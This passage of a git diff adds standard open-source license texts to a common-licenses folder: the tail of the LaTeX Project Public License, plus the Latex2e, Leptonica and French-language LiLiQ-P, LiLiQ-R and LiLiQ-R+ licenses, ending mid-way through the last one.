+`Modification' Any procedure that produces a Derived Work under any applicable law -- for example, the production of a file containing an original file associated with the Work or a significant portion of such a file, either verbatim or with modifications and/or translated into another language.
+
+`Modify' To apply any procedure that produces a Derived Work under any applicable law. `Distribution' Making copies of the Work available from one person to another, in whole or in part. Distribution includes (but is not limited to) making any electronic components of the Work accessible by file transfer protocols such as FTP or HTTP or by shared file systems such as Sun's Network File System (NFS).
+
+`Compiled Work' A version of the Work that has been processed into a form where it is directly usable on a computer system. This processing may include using installation facilities provided by the Work, transformations of the Work, copying of components of the Work, or other activities. Note that modification of any installation facilities provided by the Work constitutes modification of the Work.
+
+`Current Maintainer' A person or persons nominated as such within the Work. If there is no such explicit nomination then it is the `Copyright Holder' under any applicable law.
+
+`Base Interpreter' A program or process that is normally needed for running or interpreting a part or the whole of the Work. A Base Interpreter may depend on external components but these are not considered part of the Base Interpreter provided that each external component clearly identifies itself whenever it is used interactively. Unless explicitly specified when applying the license to the Work, the only applicable Base Interpreter is a "LaTeX-Format".
+
+CONDITIONS ON DISTRIBUTION AND MODIFICATION
+===========================================
+
+1. Activities other than distribution and/or modification of the Work are not covered by this license; they are outside its scope. In particular, the act of running the Work is not restricted and no requirements are made concerning any offers of support for the Work.
+
+2. You may distribute a complete, unmodified copy of the Work as you received it. Distribution of only part of the Work is considered modification of the Work, and no right to distribute such a Derived Work may be assumed under the terms of this clause.
+
+3. You may distribute a Compiled Work that has been generated from a complete, unmodified copy of the Work as distributed under Clause 2 above, as long as that Compiled Work is distributed in such a way that the recipients may install the Compiled Work on their system exactly as it would have been installed if they generated a Compiled Work directly from the Work.
+
+4. If you are the Current Maintainer of the Work, you may, without restriction, modify the Work, thus creating a Derived Work. You may also distribute the Derived Work without restriction, including Compiled Works generated from the Derived Work. Derived Works distributed in this manner by the Current Maintainer are considered to be updated versions of the Work.
+
+5. If you are not the Current Maintainer of the Work, you may modify your copy of the Work, thus creating a Derived Work based on the Work, and compile this Derived Work, thus creating a Compiled Work based on the Derived Work.
+
+6. If you are not the Current Maintainer of the Work, you may distribute a Derived Work provided the following conditions are met for every component of the Work unless that component clearly states in the copyright notice that it is exempt from that condition. Only the Current Maintainer is allowed to add such statements of exemption to a component of the Work.
+
+ a. If a component of this Derived Work can be a direct replacement for a component of the Work when that component is used with the Base Interpreter, then, wherever this component of the Work identifies itself to the user when used interactively with that Base Interpreter, the replacement component of this Derived Work clearly and unambiguously identifies itself as a modified version of this component to the user when used interactively with that Base Interpreter.
+
+ b. Every component of the Derived Work contains prominent notices detailing the nature of the changes to that component, or a prominent reference to another file that is distributed as part of the Derived Work and that contains a complete and accurate log of the changes.
+
+ c. No information in the Derived Work implies that any persons, including (but not limited to) the authors of the original version of the Work, provide any support, including (but not limited to) the reporting and handling of errors, to recipients of the Derived Work unless those persons have stated explicitly that they do provide such support for the Derived Work.
+
+ d. You distribute at least one of the following with the Derived Work:
+
+ 1. A complete, unmodified copy of the Work; if your distribution of a modified component is made by offering access to copy the modified component from a designated place, then offering equivalent access to copy the Work from the same or some similar place meets this condition, even though third parties are not compelled to copy the Work along with the modified component;
+
+ 2. Information that is sufficient to obtain a complete, unmodified copy of the Work.
+
+7. If you are not the Current Maintainer of the Work, you may distribute a Compiled Work generated from a Derived Work, as long as the Derived Work is distributed to all recipients of the Compiled Work, and as long as the conditions of Clause 6, above, are met with regard to the Derived Work.
+
+8. The conditions above are not intended to prohibit, and hence do not apply to, the modification, by any method, of any component so that it becomes identical to an updated version of that component of the Work as it is distributed by the Current Maintainer under Clause 4, above.
+
+9. Distribution of the Work or any Derived Work in an alternative format, where the Work or that Derived Work (in whole or in part) is then produced by applying some process to that format, does not relax or nullify any sections of this license as they pertain to the results of applying that process.
+
+10.
+ a. A Derived Work may be distributed under a different license provided that license itself honors the conditions listed in Clause 6 above, in regard to the Work, though it does not have to honor the rest of the conditions in this license.
+
+ b. If a Derived Work is distributed under this license, that Derived Work must provide sufficient documentation as part of itself to allow each recipient of that Derived Work to honor the restrictions in Clause 6 above, concerning changes from the Work.
+
+11. This license places no restrictions on works that are unrelated to the Work, nor does this license place any restrictions on aggregating such works with the Work by any means.
+
+12. Nothing in this license is intended to, or may be used to, prevent complete compliance by all parties with all applicable laws.
+
+NO WARRANTY
+===========
+
+There is no warranty for the Work. Except when otherwise stated in writing, the Copyright Holder provides the Work `as is', without warranty of any kind, either expressed or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The entire risk as to the quality and performance of the Work is with you. Should the Work prove defective, you assume the cost of all necessary servicing, repair, or correction.
+
+In no event unless required by applicable law or agreed to in writing will The Copyright Holder, or any author named in the components of the Work, or any other party who may distribute and/or modify the Work as permitted above, be liable to you for damages, including any general, special, incidental or consequential damages arising out of any use of the Work or out of inability to use the Work (including, but not limited to, loss of data, data being rendered inaccurate, or losses sustained by anyone as a result of any failure of the Work to operate with any other programs), even if the Copyright Holder or said author or said other party has been advised of the possibility of such damages.
+
+MAINTENANCE OF THE WORK
+=======================
+
+The Work has the status `author-maintained' if the Copyright Holder explicitly and prominently states near the primary copyright notice in the Work that the Work can only be maintained by the Copyright Holder or simply that is `author-maintained'.
+
+The Work has the status `maintained' if there is a Current Maintainer who has indicated in the Work that they are willing to receive error reports for the Work (for example, by supplying a valid e-mail address). It is not required for the Current Maintainer to acknowledge or act upon these error reports.
+
+The Work changes from status `maintained' to `unmaintained' if there is no Current Maintainer, or the person stated to be Current Maintainer of the work cannot be reached through the indicated means of communication for a period of six months, and there are no other significant signs of active maintenance.
+
+You can become the Current Maintainer of the Work by agreement with any existing Current Maintainer to take over this role.
+
+If the Work is unmaintained, you can become the Current Maintainer of the Work through the following steps:
+
+ 1. Make a reasonable attempt to trace the Current Maintainer (and the Copyright Holder, if the two differ) through the means of an Internet or similar search.
+
+ 2. If this search is successful, then enquire whether the Work is still maintained.
+
+ a. If it is being maintained, then ask the Current Maintainer to update their communication data within one month.
+
+ b. If the search is unsuccessful or no action to resume active maintenance is taken by the Current Maintainer, then announce within the pertinent community your intention to take over maintenance. (If the Work is a LaTeX work, this could be done, for example, by posting to comp.text.tex.)
+
+ 3a. If the Current Maintainer is reachable and agrees to pass maintenance of the Work to you, then this takes effect immediately upon announcement.
+
+ b. If the Current Maintainer is not reachable and the Copyright Holder agrees that maintenance of the Work be passed to you, then this takes effect immediately upon announcement.
+
+ 4. If you make an `intention announcement' as described in 2b. above and after three months your intention is challenged neither by the Current Maintainer nor by the Copyright Holder nor by other people, then you may arrange for the Work to be changed so as to name you as the (new) Current Maintainer.
+
+ 5. If the previously unreachable Current Maintainer becomes reachable once more within three months of a change completed under the terms of 3b) or 4), then that Current Maintainer must become or remain the Current Maintainer upon request provided they then update their communication data within one month.
+
+A change in the Current Maintainer does not, of itself, alter the fact that the Work is distributed under the LPPL license.
+
+If you become the Current Maintainer of the Work, you should immediately provide, within the Work, a prominent and unambiguous statement of your status as Current Maintainer. You should also announce your new status to the same pertinent community as in 2b) above.
+
+WHETHER AND HOW TO DISTRIBUTE WORKS UNDER THIS LICENSE
+======================================================
+
+This section contains important instructions, examples, and recommendations for authors who are considering distributing their works under this license. These authors are addressed as `you' in this section.
+
+Choosing This License or Another License
+----------------------------------------
+
+If for any part of your work you want or need to use *distribution* conditions that differ significantly from those in this license, then do not refer to this license anywhere in your work but, instead, distribute your work under a different license. You may use the text of this license as a model for your own license, but your license should not refer to the LPPL or otherwise give the impression that your work is distributed under the LPPL.
+
+The document `modguide.tex' in the base LaTeX distribution explains the motivation behind the conditions of this license. It explains, for example, why distributing LaTeX under the GNU General Public License (GPL) was considered inappropriate. Even if your work is unrelated to LaTeX, the discussion in `modguide.tex' may still be relevant, and authors intending to distribute their works under any license are encouraged to read it.
+
+A Recommendation on Modification Without Distribution
+-----------------------------------------------------
+
+It is wise never to modify a component of the Work, even for your own personal use, without also meeting the above conditions for distributing the modified component. While you might intend that such modifications will never be distributed, often this will happen by accident -- you may forget that you have modified that component; or it may not occur to you when allowing others to access the modified version that you are thus distributing it and violating the conditions of this license in ways that could have legal implications and, worse, cause problems for the community. It is therefore usually in your best interest to keep your copy of the Work identical with the public one. Many works provide ways to control the behavior of that work without altering any of its licensed components.
+
+How to Use This License
+-----------------------
+
+To use this license, place in each of the components of your work both an explicit copyright notice including your name and the year the work was authored and/or last substantially modified. Include also a statement that the distribution and/or modification of that component is constrained by the conditions in this license.
+
+Here is an example of such a notice and statement:
+
+ %% pig.dtx
+ %% Copyright 2003 M. Y. Name
+ %
+ % This work may be distributed and/or modified under the
+ % conditions of the LaTeX Project Public License, either version 1.3
+ % of this license or (at your option) any later version.
+ % The latest version of this license is in
+ % http://www.latex-project.org/lppl.txt
+ % and version 1.3 or later is part of all distributions of LaTeX
+ % version 2003/12/01 or later.
+ %
+ % This work has the LPPL maintenance status "maintained".
+ %
+ % This Current Maintainer of this work is M. Y. Name.
+ %
+ % This work consists of the files pig.dtx and pig.ins % and the derived file pig.sty.
+
+Given such a notice and statement in a file, the conditions given in this license document would apply, with the `Work' referring to the three files `pig.dtx', `pig.ins', and `pig.sty' (the last being generated from `pig.dtx' using `pig.ins'), the `Base Interpreter' referring to any "LaTeX-Format", and both `Copyright Holder' and `Current Maintainer' referring to the person `M. Y. Name'.
+
+If you do not want the Maintenance section of LPPL to apply to your Work, change "maintained" above into "author-maintained". However, we recommend that you use "maintained" as the Maintenance section was added in order to ensure that your Work remains useful to the community even when you can no longer maintain and support it yourself.
+
+Important Recommendations
+-------------------------
+
+Defining What Constitutes the Work
+
+The LPPL requires that distributions of the Work contain all the files of the Work. It is therefore important that you provide a way for the licensee to determine which files constitute the Work. This could, for example, be achieved by explicitly listing all the files of the Work near the copyright notice of each file or by using a line such as:
+
+ % This work consists of all files listed in manifest.txt.
+
+in that place. In the absence of an unequivocal list it might be impossible for the licensee to determine what is considered by you to comprise the Work and, in such a case, the licensee would be entitled to make reasonable conjectures as to which files comprise the Work.
diff --git a/meta/files/common-licenses/Latex2e b/meta/files/common-licenses/Latex2e
new file mode 100644
index 0000000000..2ce86bed0e
--- /dev/null
+++ b/meta/files/common-licenses/Latex2e
@@ -0,0 +1,9 @@
+Copyright (C) 2007, 2008, 2009, 2010 Karl Berry.
+Copyright (C) 1988, 1994, 2007 Stephen Gilmore.
+Copyright (C) 1994, 1995, 1996 Torsten Martinsen.
+
+Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.
+
+Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.
+
+Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions.
diff --git a/meta/files/common-licenses/Leptonica b/meta/files/common-licenses/Leptonica
new file mode 100644
index 0000000000..9bc67e6ca8
--- /dev/null
+++ b/meta/files/common-licenses/Leptonica
@@ -0,0 +1,9 @@
+Copyright (C) 2001 Leptonica. All rights reserved.
+
+This software is distributed in the hope that it will be useful, but with NO WARRANTY OF ANY KIND.
+
+No author or distributor accepts responsibility to anyone for the consequences of using this software, or for whether it serves any particular purpose or works at all, unless he or she says so in writing. Everyone is granted permission to copy, modify and redistribute this source code, for commercial or non-commercial purposes, with the following restrictions:
+
+(1) the origin of this source code must not be misrepresented;
+(2) modified versions must be plainly marked as such; and
+(3) this notice may not be removed or altered from any source or modified source distribution.
diff --git a/meta/files/common-licenses/LiLiQ-P-1.1 b/meta/files/common-licenses/LiLiQ-P-1.1
new file mode 100644
index 0000000000..594cc742e0
--- /dev/null
+++ b/meta/files/common-licenses/LiLiQ-P-1.1
@@ -0,0 +1,70 @@
+Licence Libre du Québec – Permissive (LiLiQ-P)
+
+Version 1.1
+
+1. Préambule
+Cette licence s'applique à tout logiciel distribué dont le titulaire du droit d'auteur précise qu'il est sujet aux termes de la Licence Libre du Québec – Permissive (LiLiQ-P) (ci-après appelée la « licence »).
+
+2. Définitions
+Dans la présente licence, à moins que le contexte n'indique un sens différent, on entend par:
+
+ « concédant » : le titulaire du droit d'auteur sur le logiciel, ou toute personne dûment autorisée par ce dernier à accorder la présente licence;
+ « contributeur » : le titulaire du droit d'auteur ou toute personne autorisée par ce dernier à soumettre au concédant une contribution. Un contributeur dont sa contribution est incorporée au logiciel est considéré comme un concédant en regard de sa contribution;
+ « contribution » : tout logiciel original, ou partie de logiciel original soumis et destiné à être incorporé dans le logiciel;
+ « distribution » : le fait de délivrer une copie du logiciel;
+ « licencié » : toute personne qui possède une copie du logiciel et qui exerce les droits concédés par la licence;
+ « logiciel » : une œuvre protégée par le droit d'auteur, telle qu'un programme d'ordinateur et sa documentation, pour laquelle le titulaire du droit d'auteur a précisé qu'elle est sujette aux termes de la présente licence;
+ « logiciel dérivé » : tout logiciel original réalisé par un licencié, autre que le logiciel ou un logiciel modifié, qui produit ou reproduit la totalité ou une partie importante du logiciel;
+ « logiciel modifié » : toute modification par un licencié de l'un des fichiers source du logiciel ou encore tout nouveau fichier source qui incorpore le logiciel ou une partie importante de ce dernier.
+
+3. Licence de droit d'auteur
+Sous réserve des termes de la licence, le concédant accorde au licencié une licence non exclusive et libre de redevances lui permettant d’exercer les droits suivants sur le logiciel :
+
+ 1 Produire ou reproduire la totalité ou une partie importante;
+ 2 Exécuter ou représenter la totalité ou une partie importante en public;
+ 3 Publier la totalité ou une partie importante;
+ 4 Sous-licencier sous une autre licence libre, approuvée ou certifiée par la Free Software Foundation ou l'Open Source Initiative.
+
+Cette licence est accordée sans limite territoriale et sans limite de temps.
+
+L'exercice complet de ces droits est sujet à la distribution par le concédant du code source du logiciel, lequel doit être sous une forme permettant d'y apporter des modifications. Le concédant peut aussi distribuer le logiciel accompagné d'une offre de distribuer le code source du logiciel, sans frais supplémentaires, autres que ceux raisonnables afin de permettre la livraison du code source. Cette offre doit être valide pendant une durée raisonnable.
+
+4. Distribution
+Le licencié peut distribuer des copies du logiciel, d'un logiciel modifié ou dérivé, sous réserve de respecter les conditions suivantes :
+
+ 1 Le logiciel doit être accompagné d'un exemplaire de cette licence;
+ 2 Si le logiciel a été modifié, le licencié doit en faire la mention, de préférence dans chacun des fichiers modifiés dont la nature permet une telle mention;
+ 3 Les étiquettes ou mentions faisant état des droits d'auteur, des marques de commerce, des garanties ou de la paternité concernant le logiciel ne doivent pas être modifiées ou supprimées, à moins que ces étiquettes ou mentions ne soient inapplicables à un logiciel modifié ou dérivé donné.
+
+5. Contributions
+Sous réserve d'une entente distincte, toute contribution soumise par un contributeur au concédant pour inclusion dans le logiciel sera soumise aux termes de cette licence.
+
+6. Marques de commerce
+La licence n'accorde aucune permission particulière qui permettrait d'utiliser les marques de commerce du concédant, autre que celle requise permettant d'identifier la provenance du logiciel.
+
+7. Garanties
+Sauf mention contraire, le concédant distribue le logiciel sans aucune garantie, aux risques et périls de l'acquéreur de la copie du logiciel, et ce, sans assurer que le logiciel puisse répondre à un besoin particulier ou puisse donner un résultat quelconque.
+
+Sans lier le concédant d'une quelconque manière, rien n'empêche un licencié d'offrir ou d'exclure des garanties ou du support.
+
+8. Responsabilité
+Le licencié est responsable de tout préjudice résultant de l'exercice des droits accordés par la licence.
+
+Le concédant ne saurait être tenu responsable de dommages subis par le licencié ou par des tiers, pour quelque cause que ce soit en lien avec la licence et les droits qui y sont accordés.
+
+9. Résiliation
+La présente licence est automatiquement résiliée dès que les droits qui y sont accordés ne sont pas exercés conformément aux termes qui y sont stipulés.
+
+Toutefois, si le défaut est corrigé dans un délai de 30 jours de sa prise de connaissance par la personne en défaut, et qu'il s'agit du premier défaut, la licence est accordée de nouveau.
+
+Pour tout défaut subséquent, le consentement exprès du concédant est nécessaire afin que la licence soit accordée de nouveau.
+
+10. Version de la licence
+Le Centre de services partagés du Québec, ses ayants cause ou toute personne qu'il désigne, peuvent diffuser des versions révisées ou modifiées de cette licence. Chaque version recevra un numéro unique. Si un logiciel est déjà soumis aux termes d'une version spécifique, c'est seulement cette version qui liera les parties à la licence.
+
+Le concédant peut aussi choisir de concéder la licence sous la version actuelle ou toute version ultérieure, auquel cas le licencié peut choisir sous quelle version la licence lui est accordée.
+
+11. Divers
+Dans la mesure où le concédant est un ministère, un organisme public ou une personne morale de droit public, créés en vertu d'une loi de l'Assemblée nationale du Québec, la licence est régie par le droit applicable au Québec et en cas de contestation, les tribunaux du Québec seront seuls compétents.
+
+La présente licence peut être distribuée sans conditions particulières. Toutefois, une version modifiée doit être distribuée sous un nom différent. Toute référence au Centre de services partagés du Québec, et, le cas échéant, ses ayant cause, doit être retirée, autre que celle permettant d'identifier la provenance de la licence.
diff --git a/meta/files/common-licenses/LiLiQ-R-1.1 b/meta/files/common-licenses/LiLiQ-R-1.1
new file mode 100644
index 0000000000..449febd599
--- /dev/null
+++ b/meta/files/common-licenses/LiLiQ-R-1.1
@@ -0,0 +1,94 @@
+Licence Libre du Québec – Réciprocité (LiLiQ-R)
+
+Version 1.1
+
+1. Préambule
+Cette licence s'applique à tout logiciel distribué dont le titulaire du droit d'auteur précise qu'il est sujet aux termes de la Licence Libre du Québec – Réciprocité (LiLiQ-R) (ci-après appelée la « licence »).
+
+2. Définitions
+Dans la présente licence, à moins que le contexte n'indique un sens différent, on entend par:
+
+ « concédant » : le titulaire du droit d'auteur sur le logiciel, ou toute personne dûment autorisée par ce dernier à accorder la présente licence;
+ « contributeur » : le titulaire du droit d'auteur ou toute personne autorisée par ce dernier à soumettre au concédant une contribution. Un contributeur dont sa contribution est incorporée au logiciel est considéré comme un concédant en regard de sa contribution;
+ « contribution » : tout logiciel original, ou partie de logiciel original soumis et destiné à être incorporé dans le logiciel;
+ « distribution » : le fait de délivrer une copie du logiciel;
+ « licencié » : toute personne qui possède une copie du logiciel et qui exerce les droits concédés par la licence;
+ « logiciel » : une œuvre protégée par le droit d'auteur, telle qu'un programme d'ordinateur et sa documentation, pour laquelle le titulaire du droit d'auteur a précisé qu'elle est sujette aux termes de la présente licence;
+ « logiciel dérivé » : tout logiciel original réalisé par un licencié, autre que le logiciel ou un logiciel modifié, qui produit ou reproduit la totalité ou une partie importante du logiciel;
+ « logiciel modifié » : toute modification par un licencié de l'un des fichiers source du logiciel ou encore tout nouveau fichier source qui incorpore le logiciel ou une partie importante de ce dernier.
+
+3. Licence de droit d'auteur
+Sous réserve des termes de la licence, le concédant accorde au licencié une licence non exclusive et libre de redevances lui permettant d’exercer les droits suivants sur le logiciel :
+
+ 1 Produire ou reproduire la totalité ou une partie importante;
+ 2 Exécuter ou représenter la totalité ou une partie importante en public;
+ 3 Publier la totalité ou une partie importante.
+
+Cette licence est accordée sans limite territoriale et sans limite de temps.
+
+L'exercice complet de ces droits est sujet à la distribution par le concédant du code source du logiciel, lequel doit être sous une forme permettant d'y apporter des modifications. Le concédant peut aussi distribuer le logiciel accompagné d'une offre de distribuer le code source du logiciel, sans frais supplémentaires, autres que ceux raisonnables afin de permettre la livraison du code source. Cette offre doit être valide pendant une durée raisonnable.
+
+4. Distribution
+Le licencié peut distribuer des copies du logiciel, d'un logiciel modifié ou dérivé, sous réserve de respecter les conditions suivantes :
+
+ 1 Le logiciel doit être accompagné d'un exemplaire de cette licence;
+ 2 Si le logiciel a été modifié, le licencié doit en faire la mention, de préférence dans chacun des fichiers modifiés dont la nature permet une telle mention;
+ 3 Les étiquettes ou mentions faisant état des droits d'auteur, des marques de commerce, des garanties ou de la paternité concernant le logiciel ne doivent pas être modifiées ou supprimées, à moins que ces étiquettes ou mentions ne soient inapplicables à un logiciel modifié ou dérivé donné.
+
+4.1. Réciprocité
+Chaque fois que le licencié distribue le logiciel, le concédant offre au récipiendaire une concession sur le logiciel selon les termes de la présente licence. Le licencié doit offrir une concession selon les termes de la présente licence pour tout logiciel modifié qu'il distribue.
+
+Chaque fois que le licencié distribue le logiciel ou un logiciel modifié, ce dernier doit assumer l'obligation d'en distribuer le code source, de la manière prévue au troisième alinéa de l'article 3.
+
+4.2. Compatibilité
+Dans la mesure où le licencié souhaite distribuer un logiciel modifié combiné à un logiciel assujetti à une licence compatible, mais dont il ne serait pas possible d'en respecter les termes, le concédant offre, en plus de la présente concession, une concession selon les termes de cette licence compatible.
+
+Un licencié qui est titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible ne peut pas se prévaloir de cette offre. Il en est de même pour toute autre personne dûment autorisée à sous-licencier par le titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible.
+
+Est considérée comme une licence compatible toute licence libre approuvée ou certifiée par la Free Software Foundation ou l'Open Source Initiative, dont le niveau de réciprocité est comparable ou supérieur à celui de la présente licence, sans toutefois être moindre, notamment :
+
+ 1 Common Development and Distribution License (CDDL-1.0)
+ 2 Common Public License Version 1.0 (CPL-1.0)
+ 3 Contrat de licence de logiciel libre CeCILL, version 2.1 (CECILL-2.1)
+ 4 Contrat de licence de logiciel libre CeCILL-C (CECILL-C)
+ 5 Eclipse Public License - v 1.0 (EPL-1.0)
+ 6 European Union Public License, version 1.1 (EUPL v. 1.1)
+ 7 Licence Libre du Québec – Réciprocité forte version 1.1 (LiLiQ-R+ 1.1)
+ 8 GNU General Public License Version 2 (GNU GPLv2)
+ 9 GNU General Public License Version 3 (GNU GPLv3)
+ 10 GNU Lesser General Public License Version 2.1 (GNU LGPLv2.1)
+ 11 GNU Lesser General Public License Version 3 (GNU LGPLv3)
+ 12 Mozilla Public License Version 2.0 (MPL-2.0)
+
+5. Contributions
+Sous réserve d'une entente distincte, toute contribution soumise par un contributeur au concédant pour inclusion dans le logiciel sera soumise aux termes de cette licence.
+
+6. Marques de commerce
+La licence n'accorde aucune permission particulière qui permettrait d'utiliser les marques de commerce du concédant, autre que celle requise permettant d'identifier la provenance du logiciel.
+
+7. Garanties
+Sauf mention contraire, le concédant distribue le logiciel sans aucune garantie, aux risques et périls de l'acquéreur de la copie du logiciel, et ce, sans assurer que le logiciel puisse répondre à un besoin particulier ou puisse donner un résultat quelconque.
+
+Sans lier le concédant d'une quelconque manière, rien n'empêche un licencié d'offrir ou d'exclure des garanties ou du support.
+
+8. Responsabilité
+Le licencié est responsable de tout préjudice résultant de l'exercice des droits accordés par la licence.
+
+Le concédant ne saurait être tenu responsable du préjudice subi par le licencié ou par des tiers, pour quelque cause que ce soit en lien avec la licence et les droits qui y sont accordés.
+
+9. Résiliation
+La présente licence est résiliée de plein droit dès que les droits qui y sont accordés ne sont pas exercés conformément aux termes qui y sont stipulés.
+
+Toutefois, si le défaut est corrigé dans un délai de 30 jours de sa prise de connaissance par la personne en défaut, et qu'il s'agit du premier défaut, la licence est accordée de nouveau.
+
+Pour tout défaut subséquent, le consentement exprès du concédant est nécessaire afin que la licence soit accordée de nouveau.
+
+10. Version de la licence
+Le Centre de services partagés du Québec, ses ayants cause ou toute personne qu'il désigne, peuvent diffuser des versions révisées ou modifiées de cette licence. Chaque version recevra un numéro unique. Si un logiciel est déjà soumis aux termes d'une version spécifique, c'est seulement cette version qui liera les parties à la licence.
+
+Le concédant peut aussi choisir de concéder la licence sous la version actuelle ou toute version ultérieure, auquel cas le licencié peut choisir sous quelle version la licence lui est accordée.
+
+11. Divers
+Dans la mesure où le concédant est un ministère, un organisme public ou une personne morale de droit public, créés en vertu d'une loi de l'Assemblée nationale du Québec, la licence est régie par le droit applicable au Québec et en cas de contestation, les tribunaux du Québec seront seuls compétents.
+
+La présente licence peut être distribuée sans conditions particulières. Toutefois, une version modifiée doit être distribuée sous un nom différent. Toute référence au Centre de services partagés du Québec, et, le cas échéant, ses ayant droit, doit être retirée, autre que celle permettant d'identifier la provenance de la licence.
diff --git a/meta/files/common-licenses/LiLiQ-Rplus-1.1 b/meta/files/common-licenses/LiLiQ-Rplus-1.1
new file mode 100644
index 0000000000..58566cb1bb
--- /dev/null
+++ b/meta/files/common-licenses/LiLiQ-Rplus-1.1
@@ -0,0 +1,88 @@
+Licence Libre du Québec – Réciprocité forte (LiLiQ-R+)
+
+Version 1.1
+
+1. Préambule
+Cette licence s'applique à tout logiciel distribué dont le titulaire du droit d'auteur précise qu'il est sujet aux termes de la Licence Libre du Québec – Réciprocité forte (LiLiQ-R+) (ci-après appelée la « licence »).
+
+2. Définitions
+Dans la présente licence, à moins que le contexte n'indique un sens différent, on entend par:
+
+ « concédant » : le titulaire du droit d'auteur sur le logiciel, ou toute personne dûment autorisée par ce dernier à accorder la présente licence;
+ « contributeur » : le titulaire du droit d'auteur ou toute personne autorisée par ce dernier à soumettre au concédant une contribution. Un contributeur dont sa contribution est incorporée au logiciel est considéré comme un concédant en regard de sa contribution;
+ « contribution » : tout logiciel original, ou partie de logiciel original soumis et destiné à être incorporé dans le logiciel;
+ « distribution » : le fait de délivrer une copie du logiciel;
+ « licencié » : toute personne qui possède une copie du logiciel et qui exerce les droits concédés par la licence;
+ « logiciel » : une œuvre protégée par le droit d'auteur, telle qu'un programme d'ordinateur et sa documentation, pour laquelle le titulaire du droit d'auteur a précisé qu'elle est sujette aux termes de la présente licence;
+ « logiciel dérivé » : tout logiciel original réalisé par un licencié, autre que le logiciel ou un logiciel modifié, qui produit ou reproduit la totalité ou une partie importante du logiciel;
+ « logiciel modifié » : toute modification par un licencié de l'un des fichiers source du logiciel ou encore tout nouveau fichier source qui incorpore le logiciel ou une partie importante de ce dernier.
+
+3. Licence de droit d'auteur
+Sous réserve des termes de la licence, le concédant accorde au licencié une licence non exclusive et libre de redevances lui permettant d’exercer les droits suivants sur le logiciel :
+
+ 1 Produire ou reproduire la totalité ou une partie importante;
+ 2 Exécuter ou représenter la totalité ou une partie importante en public;
+ 3 Publier la totalité ou une partie importante.
+
+Cette licence est accordée sans limite territoriale et sans limite de temps.
+
+L'exercice complet de ces droits est sujet à la distribution par le concédant du code source du logiciel, lequel doit être sous une forme permettant d'y apporter des modifications. Le concédant peut aussi distribuer le logiciel accompagné d'une offre de distribuer le code source du logiciel, sans frais supplémentaires, autres que ceux raisonnables afin de permettre la livraison du code source. Cette offre doit être valide pendant une durée raisonnable.
+
+4. Distribution
+Le licencié peut distribuer des copies du logiciel, d'un logiciel modifié ou dérivé, sous réserve de respecter les conditions suivantes :
+
+ 1 Le logiciel doit être accompagné d'un exemplaire de cette licence;
+ 2 Si le logiciel a été modifié, le licencié doit en faire la mention, de préférence dans chacun des fichiers modifiés dont la nature permet une telle mention;
+ 3 Les étiquettes ou mentions faisant état des droits d'auteur, des marques de commerce, des garanties ou de la paternité concernant le logiciel ne doivent pas être modifiées ou supprimées, à moins que ces étiquettes ou mentions ne soient inapplicables à un logiciel modifié ou dérivé donné.
+
+4.1. Réciprocité
+Chaque fois que le licencié distribue le logiciel, le concédant offre au récipiendaire une concession sur le logiciel selon les termes de la présente licence. Le licencié doit offrir une concession selon les termes de la présente licence pour tout logiciel modifié ou dérivé qu'il distribue.
+
+Chaque fois que le licencié distribue le logiciel, un logiciel modifié, ou un logiciel dérivé, ce dernier doit assumer l'obligation d'en distribuer le code source, de la manière prévue au troisième alinéa de l'article 3.
+
+4.2. Compatibilité
+Dans la mesure où le licencié souhaite distribuer un logiciel modifié ou dérivé combiné à un logiciel assujetti à une licence compatible, mais dont il ne serait pas possible d'en respecter les termes, le concédant offre, en plus de la présente concession, une concession selon les termes de cette licence compatible.
+
+Un licencié qui est titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible ne peut pas se prévaloir de cette offre. Il en est de même pour toute autre personne dûment autorisée à sous-licencier par le titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible.
+
+Est considérée comme une licence compatible toute licence libre approuvée ou certifiée par la Free Software Foundation ou l'Open Source Initiative, dont le niveau de réciprocité est comparable à celui de la présente licence, sans toutefois être moindre, notamment :
+
+ 1 Common Public License Version 1.0 (CPL-1.0)
+ 2 Contrat de licence de logiciel libre CeCILL, version 2.1 (CECILL-2.1)
+ 3 Eclipse Public License - v 1.0 (EPL-1.0)
+ 4 European Union Public License, version 1.1 (EUPL v. 1.1)
+ 5 GNU General Public License Version 2 (GNU GPLv2)
+ 6 GNU General Public License Version 3 (GNU GPLv3)
+
+5. Contributions
+Sous réserve d'une entente distincte, toute contribution soumise par un contributeur au concédant pour inclusion dans le logiciel sera soumise aux termes de cette licence.
+
+6. Marques de commerce
+La licence n'accorde aucune permission particulière qui permettrait d'utiliser les marques de commerce du concédant, autre que celle requise permettant d'identifier la provenance du logiciel.
+
+7. Garanties
+Sauf mention contraire, le concédant distribue le logiciel sans aucune garantie, aux risques et périls de l'acquéreur de la copie du logiciel, et ce, sans assurer que le logiciel puisse répondre à un besoin particulier ou puisse donner un résultat quelconque.
+
+Sans lier le concédant d'une quelconque manière, rien n'empêche un licencié d'offrir ou d'exclure des garanties ou du support.
+
+8. Responsabilité
+Le licencié est responsable de tout préjudice résultant de l'exercice des droits accordés par la licence.
+
+Le concédant ne saurait être tenu responsable du préjudice subi par le licencié ou par des tiers, pour quelque cause que ce soit en lien avec la licence et les droits qui y sont accordés.
+
+9. Résiliation
+La présente licence est résiliée de plein droit dès que les droits qui y sont accordés ne sont pas exercés conformément aux termes qui y sont stipulés.
+
+Toutefois, si le défaut est corrigé dans un délai de 30 jours de sa prise de connaissance par la personne en défaut, et qu'il s'agit du premier défaut, la licence est accordée de nouveau.
+
+Pour tout défaut subséquent, le consentement exprès du concédant est nécessaire afin que la licence soit accordée de nouveau.
+
+10. Version de la licence
+Le Centre de services partagés du Québec, ses ayants cause ou toute personne qu'il désigne, peuvent diffuser des versions révisées ou modifiées de cette licence. Chaque version recevra un numéro unique. Si un logiciel est déjà soumis aux termes d'une version spécifique, c'est seulement cette version qui liera les parties à la licence.
+
+Le concédant peut aussi choisir de concéder la licence sous la version actuelle ou toute version ultérieure, auquel cas le licencié peut choisir sous quelle version la licence lui est accordée.
+
+11. Divers
